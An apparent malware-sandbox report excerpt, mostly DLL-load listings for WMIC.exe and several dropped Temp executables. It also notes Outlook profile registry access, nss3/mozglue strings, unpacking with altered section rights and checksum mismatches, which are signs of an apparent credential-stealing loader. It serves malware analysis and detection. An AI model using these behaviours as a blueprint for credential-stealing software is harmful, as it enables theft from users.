Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Section loaded: secur32.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1824256 > 1048576

Source: file.exe

Static PE information: Raw size of ztloqtqa is bigger than: 0x100000 < 0x1a3600

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1940077735.000000007013D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\*p source: Tq4a1Bz.exe, 00000031.00000002.2692671953.0000000001143000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb source: Tq4a1Bz.exe, 00000031.00000002.2729667596.000000000A8AE000.00000004.00000020.00020000.00000000.sdmp, Tq4a1Bz.exe, 00000031.00000002.2729667596.000000000A8B0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ..pdbd source: Tq4a1Bz.exe, 00000031.00000002.2711450478.000000000A5DE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdbx6 source: Tq4a1Bz.exe, 00000031.00000002.2729667596.000000000A8B0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1940077735.000000007013D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: ntkrnlmp.pdbj source: Tq4a1Bz.exe, 00000031.00000002.2729667596.000000000A8B4000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.370000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ztloqtqa:EW;yftouuyu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ztloqtqa:EW;yftouuyu:EW;.taggant:EW;
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Unpacked PE file: 21.2.DocumentsBGIJJKKJJD.exe.170000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cyvkeaon:EW;yqnrhegl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cyvkeaon:EW;yqnrhegl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 24.2.skotes.exe.9a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cyvkeaon:EW;yqnrhegl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cyvkeaon:EW;yqnrhegl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Unpacked PE file: 51.2.6af0f0d802.exe.8a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ztloqtqa:EW;yftouuyu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ztloqtqa:EW;yftouuyu:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe	Static PE information: real checksum: 0x1cc910 should be: 0x1c2c5b
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1db50f should be: 0x1da1e2
Source: DocumentsBGIJJKKJJD.exe.0.dr	Static PE information: real checksum: 0x1de7bb should be: 0x1db365
Source: skotes.exe.21.dr	Static PE information: real checksum: 0x1de7bb should be: 0x1db365

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
